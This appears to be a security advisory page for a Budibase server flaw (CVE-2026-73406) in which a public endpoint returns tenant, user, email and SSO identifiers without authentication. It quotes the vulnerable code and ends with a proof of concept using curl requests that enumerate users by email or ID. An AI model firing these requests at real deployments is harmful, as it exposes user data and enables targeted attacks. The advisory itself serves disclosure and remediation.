Server: Budibase: Unauthenticated user information disclosure via public tenant user lookup endpoint (CVE-2026-73406)
Affects @budibase/serverSource GCVE Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NWhat to do
AI-suggested
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the affected endpoint by network controls or reverse proxies to prevent unauthenticated access. Review and update endpoint registration to ensure internal APIs are not publicly accessible. Implement proper authentication and authorization checks on this endpoint to prevent unauthorized data disclosure.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npm@budibase/server | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
#### Summary The Budibase Worker service exposes a public, unauthenticated API endpoint (`GET /api/global/users/tenant/:id`) that returns sensitive user information including `tenantId`, `userId`, `email`, and `ssoId`. The endpoint is registered in the `PUBLIC_ENDPOINTS` list with a `TODO` comment acknowledging it "should be an internal API." Any unauthenticated party can enumerate user emails or IDs to extract sensitive tenant and user metadata, enabling targeted attacks against multi-tenant deployments. #### Details **Public endpoint registration** at `packages/worker/src/api/index.ts` lines 56-59: ```typescript // TODO: This should be an internal api { route: "/api/global/users/tenant/:id", method: "GET", }, ``` This endpoint is listed in `PUBLIC_ENDPOINTS`, which is passed to `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` at line 154. When a request matches a public endpoint pattern, the authentication middleware sets `ctx.publicEndpoint = true` and calls `next()` without performing any authentication (verified at `packages/backend-core/src/middleware/authenticated.ts` lines 124-126, 249-251). All subsequent middleware also skips for public endpoints: - `buildTenancyMiddleware` — passes through - `activeTenant` — passes through - `buildCsrfMiddleware` — skipped for GET methods (line 48 of csrf.ts) - The `budibaseAccess` gate at lines 160-168 explicitly returns `next()` when `ctx.publicEndpoint` is true **Route registration** at `packages/worker/src/api/routes/global/users.ts` line 139: ```typescript loggedInRoutes .get("/api/global/users/tenant/:id", controller.tenantUserLookup) ``` `loggedInRoutes` has no auth middleware group — it is created with `endpointGroupList.group()` (no middleware). **Handler implementation** at `packages/worker/src/api/controllers/global/users.ts` lines 548-562: ```typescript export const tenantUserLookup = async ( ctx: UserCtx<void, LookupTenantUserResponse> ) => { const id = ctx.params.id // is email, check its valid if (id.includes("@") && !emailValidator.validate(id)) { ctx.throw(400, `${id} is not a valid email address to lookup.`) } const user = await userSdk.core.getFirstPlatformUser(id) if (user) { ctx.body = user // Returns full PlatformUser object — no field filtering } else { ctx.throw(400, "No tenant user found.") } } ``` The `id` parameter accepts either an email address (detected by `@` presence) or a user ID. The response returns the **full** `PlatformUser` object from `packages/types/src/documents/platform/users.ts`: ```typescript export interface PlatformUserByEmail extends Document { tenantId: string // Tenant identifier userId: string // Internal user ID } export interface PlatformUserById extends Document { tenantId: string // Tenant identifier email?: string // User email address ssoId?: string // SSO provider identifier } export interface PlatformUserBySsoId extends Document { tenantId: string // Tenant identifier userId: string // Internal user ID email: string // User email address ssoId?: string // SSO provider identifier } ``` The lookup function (`packages/backend-core/src/users/lookup.ts:48-53`) queries the `PLATFORM_USERS_LOWERCASE` CouchDB view with `include_docs: true`, returning the complete platform user document including CouchDB `_id` and `_rev`. **Affected files:** - `packages/worker/src/api/index.ts:56-59` — Public endpoint registration - `packages/worker/src/api/routes/global/users.ts:139` — Route on unauthenticated group - `packages/worker/src/api/controllers/global/users.ts:548-562` — Handler returning full user object - `packages/backend-core/src/users/lookup.ts:48-53` — Platform user lookup with `include_docs: true` - `packages/types/src/documents/platform/users.ts:6-36` — PlatformUser types #### PoC **Static verification:** 1. Observe `packages/worker/src/api/index.ts:56-59`: endpoint in `PUBLIC_ENDPOINTS` with `// TODO: This should be an internal api` 2. Trace handler at `packages/worker/src/api/controllers/global/users.ts:548-562`: no auth checks, returns `ctx.body = user` (full object) 3. Trace middleware chain: all middleware passes through for `ctx.publicEndpoint === true` 4. Confirm no field filtering, sanitization, or authorization between request and response **Dynamic verification (requires running Budibase instance with at least one user):** ```bash # No authentication headers or cookies required # Lookup by email: curl -s http://localhost:4002/api/global/users/tenant/[email protected] # Response (200 OK): # { # "_id": "[email protected]", # "_rev": "1-abc123...", # "tenantId": "tenant-uuid-here", # "userId": "us_uuid-here" # } # Lookup by user ID: curl -s http://localhost:4002/api/global/users/tenant/us_someuserid123 # Response (200 OK): # { # "_id": "us_someuserid123", # "_rev": "1-abc123...", # "tenantId": "tenant-uuid-here", # "email": "[email protected]", # "ssoId": "google-oauth-id"
Weaknesses
References
- github.com/Budibase/budibase/security/advisories/GHSA-hr66-5mqr-8mpx (opens in a new tab)
- github.com/Budibase/budibase/pull/19221 (opens in a new tab)
- github.com/Budibase/budibase/commit/e6bf245fbfdaa35804ef7ee901103282edf0c381 (opens in a new tab)
- github.com/Budibase/budibase (opens in a new tab)
- github.com/Budibase/budibase/releases/tag/3.39.32 (opens in a new tab)